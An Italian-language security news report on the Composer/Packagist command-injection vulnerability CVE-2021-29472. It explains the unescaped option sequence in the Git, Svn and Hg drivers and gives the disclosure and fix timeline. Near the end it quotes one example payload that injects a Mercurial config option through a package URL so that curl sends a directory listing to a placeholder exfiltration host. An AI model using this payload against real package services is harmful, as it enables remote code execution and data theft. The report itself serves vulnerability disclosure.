Nel gestore delle dipendenze Composer è stata individuata una vulnerabilità critica (CVE-2021-29472) che consente l'esecuzione di comandi arbitrari nel sistema durante l'elaborazione di un pacchetto con un valore URL appositamente formattato, definendo un indirizzo per il download del codice sorgente. Il problema si manifesta nei componenti GitDriver, SvnDriver e HgDriver utilizzati con i sistemi di controllo del codice sorgente Git, Subversion e Mercurial. La vulnerabilità è stata risolta nelle versioni Composer 1.10.22 e 2.0.13.
Si segnala in particolare che il problema ha colpito principalmente il repository di pacchetti Packagist, utilizzato di default in Composer, che conta 306 mila pacchetti per sviluppatori PHP e gestisce mensilmente oltre 1,4 miliardi di download. Gli esperimenti hanno dimostrato che, se non fosse stata nota l'esistenza della vulnerabilità, gli aggressori avrebbero potuto ottenere il controllo sull'infrastruttura di Packagist, intercettare le credenziali degli sviluppatori o reindirizzare il download dei pacchetti su server di terze parti, consentendo la distribuzione di varianti di pacchetti con modifiche dannose per inserire un backdoor durante l'installazione delle dipendenze.
Il rischio per gli utenti finali è limitato, poiché il contenuto di composer.json è solitamente determinato dall'utente stesso, e i collegamenti ai codici sorgente vengono forniti quando si accede a repository esterni, di solito affidabili. Il colpo principale ha colpito il repository Packagist.org e il servizio Private Packagist, che invocano Composer passando dati ricevuti dagli utenti. I malintenzionati potrebbero eseguire il proprio codice sui server di Packagist caricando un pacchetto appositamente strutturato.
Il team di Packagist ha eliminato la vulnerabilità entro 12 ore dalla comunicazione della stessa. I ricercatori hanno informato in via riservata gli sviluppatori di Packagist il 22 aprile, e lo stesso giorno è stato risolto il problema. Un aggiornamento pubblico di Composer che risolveva la vulnerabilità è stato rilasciato il 27 aprile, e i dettagli sono stati resi noti il 28 aprile. L'audit dei log sui server di Packagist non ha rilevato attività sospette correlate alla vulnerabilità.
Il problema è causato da un errore nel codice di convalida degli URL nel file principale composer.json e nei collegamenti per il download dei sorgenti. L'errore è presente nel codice dal novembre 2011. In Packagist vengono utilizzate speciali interfacce per consentire il caricamento del codice senza legami con un sistema di gestione dei sorgenti specifico, eseguite tramite la chiamata "fromShellCommandline" con la trasmissione di argomenti da riga di comando. Ad esempio, per git viene eseguita il comando "git ls-remote —heads $URL", dove l'URL è stato elaborato tramite il metodo "ProcessExecutor::escape($url)", che esegue l'escape delle costruzioni potenzialmente pericolose, come "$(…)" o "`…`".
Il problema principale è che il metodo ProcessExecutor::escape non ha eseguito l'escape della sequenza «—«, consentendo di specificare qualsiasi parametro aggiuntivo nella URL. Questa mancanza di escape era presente anche nei driver GitDriver.php, SvnDriver.php e HgDriver.php. La vulnerabilità attraverso GitDriver.php era ostacolata dal fatto che il comando «git ls-remote» non supportava l'indicazione di argomenti aggiuntivi dopo il percorso. Era possibile un attacco su HgDriver.php tramite il passaggio del parametro «—config» al comando «hq», che consente di eseguire qualsiasi comando manipolando l'impostazione «alias.identify». Ad esempio, per caricare ed eseguire codice tramite il comando curl, si poteva specificare: —config=alias.identify=!curl http://exfiltration-host.tld —data “$(ls -alh)”
Pubblicando su Packagist un pacchetto di test con una URL simile, i ricercatori hanno confermato che dopo la pubblicazione sul loro server è arrivata una richiesta HTTP da uno dei server Packagist in AWS, contenente un elenco di file nella directory corrente.
Fonte: opennet.ru
